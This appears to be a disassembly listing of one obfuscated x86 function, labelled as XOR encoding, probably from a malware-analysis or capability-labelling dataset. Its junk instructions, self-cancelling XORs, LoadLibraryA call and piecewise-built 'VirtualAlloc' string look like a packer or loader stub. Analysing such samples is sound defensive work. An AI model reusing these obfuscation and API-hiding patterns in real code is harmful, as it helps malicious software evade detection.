Function at 0x4ad02393
Capabilities:
Encode data using xor

Disassembly:
cmp edx, ebx
dec edx
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], eax
pushal
pushfd
or esi, edi
add esi, esp
test esi, esp
jo 0x4ad023ae
mov ecx, dword [0x4ad32730]
sub eax, eax
not esi
inc esi
mov ecx, dword [0x4ad262d0]
rol eax, 1
mov eax, edi
dec esi
mov edi, edi
mov ecx, 0x736708
rol edx, 0x1a
mov dword [0x4ad3da92], edi
fcmovbe st(0), st(3)
dec edx
fcmovbe st(0), st(3)
dec edx
ror eax, 9
inc eax
mov dword [0x4ad3d91b], edx
inc edi
neg esi
xchg esi, eax
shr ebx, 0xc
neg esi
sub dword [0x4ad3dab7], edx
rol eax, 0x16
xor edi, dword [0x4ad2cc40]
ror dword [edx - 0x3f], cl
rcl byte [esi], 0x33
cmp eax, 0x4ad2cc40
call fcn.4ad0395f
loop 0x4ad0238d
sub dword [0x4ad3daf8], edx
and ecx, dword [0x4ad245c0]
mov eax, 0x1d920932
or esi, edi
test esi, 0x5a73d94
jo 0x4ad0235b
xor edx, 0x1568b49
shl eax, 1
neg esi
dec eax
rol esi, 2
call fcn.4ad07fcd
mov ecx, 0x305230
not eax
inc eax
mov dword [0x4ad3d9f8], ebx
inc edx
xor dword [0x4ad3dbf7], ecx
rol eax, 0x17
not edx
rol esi, 1
shr esi, 0x15
xchg esi, eax
call fcn.4ad05002
xchg edx, eax
neg eax
xchg esi, eax
loop 0x4ad023f4
add esi, 0x187d9f70
mov ecx, 0x607df8
xor dword [0x4ad3daf4], 0x7a3c380
rol eax, 0xe
xchg esi, edx
rol eax, 0x14
call fcn.4ad0516d
neg eax
xchg edx, eax
ror esi, 7
inc edi
xchg edx, eax
add dword [0x4ad3db98], edx
shr ebx, 0x13
inc eax
xchg edi, eax
loop 0x4ad02429
mov esi, esi
mov ebx, dword [0x4ad33b66]
not esi
call fcn.4ad071b0
xor esi, eax
neg eax
sub eax, esp
mov eax, 0xf6a18e
push 0x4ad1f80e
xor ebx, dword [0x4ad2a430]
xor ecx, dword [0x4ad29ea0]
sub ecx, esi
dec esi
sub esi, 0x2e595bc8
not eax
xor ecx, 0x12917d7f
add eax, 0x4f306b6
xor ecx, eax
inc esi
call fcn.4ad061b8
dec esi
xor ecx, edi
sub eax, eax
xor eax, 0xfa1a8e8
xor esi, 0x1b25e6d8
dec ebx
sub ebx, dword [0x4ad2b6a0]
call fcn.4ad03e1f
dec esi
call fcn.4ad061b8
mov dword [0x4ad3dae6], edi
call fcn.4ad07932
call fcn.4ad03a17
call fcn.4ad08dbb
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x4ad3db01], 0x178b5a80
neg edx
xchg eax, esi
sub ecx, ebx
rol esi, 0x1d
xchg ebx, eax
not esi
inc esi
rol eax, 2
inc esi
neg edx
xor ebx, esp
xor ebx, esp
neg edx
dec esi
ror eax, 2
dec esi
not esi
xchg ebx, eax
ror esi, 0x1d
add ecx, ebx
xchg eax, esi
neg edx
and dword [0x4ad3dab0], 0xadc5230
push 0
add esi, eax
sub edi, eax
inc edx
add eax, edi
xchg esi, edx
call fcn.4ad03f08
xor edx, dword [0x4ad3dead]
dec eax
call fcn.4ad01ac0
xor ecx, dword [0x4ad3de99]
ror esi, 8
sub ecx, dword [0x4ad3dd8a]
neg esi
mov dword [0x4ad3db90], ecx
xchg eax, eax
xor ecx, esi
xor ecx, esi
xchg eax, eax
neg esi
rol esi, 8
inc eax
xchg esi, edx
sub eax, edi
dec edx
add edi, eax
sub esi, eax
push 0x636f6c6c
mov dword [0x4ad3d924], 0x747a6f6
xor esi, eax
xor dword [0x4ad3dae0], ecx
not esi
xor ecx, dword [0x4ad3dcb0]
sub esi, eax
call fcn.4ad01ac0
add edx, 0x169517ac
not ecx
or dword [0x4ad3da92], ecx
rol ebx, 0x19
dec eax
add eax, 0xae8751c
sub esi, dword [0x4ad3dceb]
dec edx
xor edx, 0x330678c
call fcn.4ad01f72
xor dword [0x4ad3db34], 0x20331be
xor esi, 0x13bc9490
dec eax
xor eax, edx
add edi, dword [0x4ad3df3c]
xor eax, edx
inc eax
xor esi, 0x13bc9490
xor edx, 0x330678c
inc edx
sub eax, 0xae8751c
inc eax
ror ebx, 0x19
mov dword [0x4ad3db40], esi
not ecx
sub edx, 0x169517ac
call fcn.4ad06599
add esi, eax
not esi
xor esi, eax
push 0x416c6175
xor esi, eax
rol edx, 0x13
xor eax, 0x298d5fc0
mov dword [0x4ad3db48], ecx
call fcn.4ad08f6d
xor esi, dword [0x4ad3df92]
add esi, ecx
xchg eax, edx
mov dword [0x4ad3d982], 0x34fb8758
xor edi, eax
xor edi, eax
mov dword [0x4ad3dac0], 0x4bcf904
xchg eax, edx
sub esi, ecx
call fcn.4ad0552c
mov dword [0x4ad3da6d], ecx
xor eax, 0x298d5fc0
ror edx, 0x13
xor esi, eax
push 0x74726956
mov dword [0x4ad3d9bc], ebx
xor esi, eax
sub ebx, dword [0x4ad3de48]
xchg eax, eax
sub ecx, dword [0x4ad3deb4]
xor edx, esp
mov dword [0x4ad3dad1], 0x1e6ef056
xor esi, 0x1db95f93
call fcn.4ad08903
inc eax
call fcn.4ad06cb8
xor ecx, dword [0x4ad3dd78]
neg esi
xor dword [0x4ad3d97d], 0xba45f7c
xor dword [0x4ad3db02], esi
add bl, bl
ror dword [edx + 0x4f], cl
sub esi, dword [0x4ad3dcfd]
xor ebx, dword [0x4ad3dd9c]
inc edi
xor dword [0x4ad3d9b3], esi
mov dword [0x4ad3d930], 0x640d730
neg esi